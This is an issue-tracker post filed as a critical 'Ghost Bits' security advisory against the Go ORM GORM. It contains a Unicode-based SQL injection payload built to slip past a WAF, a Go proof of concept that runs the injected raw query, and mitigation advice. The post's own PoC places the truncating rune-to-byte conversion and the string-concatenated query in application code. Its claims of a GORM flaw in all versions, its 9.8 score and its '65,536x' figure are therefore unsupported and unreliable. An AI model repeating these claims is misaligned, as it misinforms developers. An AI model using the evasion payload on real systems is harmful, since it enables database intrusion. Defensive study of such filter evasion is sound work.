ITADN

SECURITY: Ghost Bits Vulnerability - Type conversion from rune to byte silently truncates high bits

#7762OpenTo-be-w1th0ut 创建于 2026-04-28
type:critical
T
To-be-w1th0utcommented
# Ghost Bits Vulnerability in GORM ## Summary A critical security vulnerability has been identified in Go's type conversion mechanism that affects applications using GORM. The vulnerability, dubbed "Ghost Bits," enables attackers to bypass WAF detection and execute SQL injection attacks by exploiting silent high-bit truncation during type conversions from `rune` (32-bit) to `byte` (8-bit). ## Severity **Critical** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) ## Affected Components - GORM query parameter handling - GORM raw SQL execution - GORM where clause processing ## Affected Versions All versions ## Technical Details ### Vulnerability Mechanism When Go code converts a `rune` (32-bit Unicode code point) to `byte` (8-bit), the high 24 bits are silently discarded: ```go var ch rune = '\u2F58' // 爻 (U+2F58) = 0x00002F58 b := byte(ch) // Only low 8 bits: 0x58 = 'X' ``` This silent truncation creates a **65,536x attack space** compared to Java's 8-bit truncation. ### Attack Example **SQL Injection Bypass**: ```go // Original payload: ' OR '1'='1 // Ghost Bits payload: ħ OR ħ1ħ=ħ1 // WAF sees: "ħ OR ħ1ħ=ħ1" (no match) // Backend converts: ħ (U+0127) → 0x27 = ' // Result: "' OR '1'='1" (SQL injection executed) ``` ### Proof of Concept ```go package main import ( "fmt" "strings" "gorm.io/gorm" _ "gorm.io/driver/sqlite" ) type User struct { ID uint Name string } func main() { db, _ := gorm.Open(sqlite.Open("test.db"), &gorm.Config{}) db.AutoMigrate(&User{}) id := "ħ OR ħ1ħ=ħ1" wafPattern := "' OR '1'='1" // WAF detection if !strings.Contains(id, wafPattern) { fmt.Println("✓ WAF bypass successful") } // Backend processing (vulnerable code) var idBytes []byte for _, ch := range id { idBytes = append(idBytes, byte(ch)) } restored := string(idBytes) if restored == wafPattern { // ❌ DANGEROUS - SQL concatenation db.Raw(fmt.Sprintf("SELECT * FROM users WHERE id = '%s'", restored)).Scan(&User{}) fmt.Println("✓ SQL injection successful") } } ``` ## Impact Attackers can bypass WAF/IDS protection and execute: - SQL injection - Data exfiltration - Database compromise ## Mitigation ### Immediate Mitigation 1. **Avoid dangerous type conversions**: ```go // ❌ Dangerous for _, ch := range s { b := byte(ch) } // ✅ Safe bytes := []byte(s) ``` 2. **Input validation**: ```go func validateInput(s string) bool { for _, ch := range s { if ch > 127 { return false } } return true } ``` 3. **Use GORM's safe query methods**: ```go // ❌ DANGEROUS db.Raw(fmt.Sprintf("SELECT * FROM users WHERE id = '%s'", id)) // ✅ Safe - Use parameterized queries db.Where("id = ?", id).First(&user) // ✅ Safe - Use Raw with parameters db.Raw("SELECT * FROM users WHERE id = ?", id).Scan(&user) ``` ## References - Go Security Advisory: https://github.com/golang/go/issues/78989 - Original Research: Ghost Bits Vulnerability - Black Hat Asia 2026: "Cast Attack: A New Threat Posed by Ghost Bits in Java" --- **This vulnerability has been disclosed following responsible disclosure practices.**
1 条评论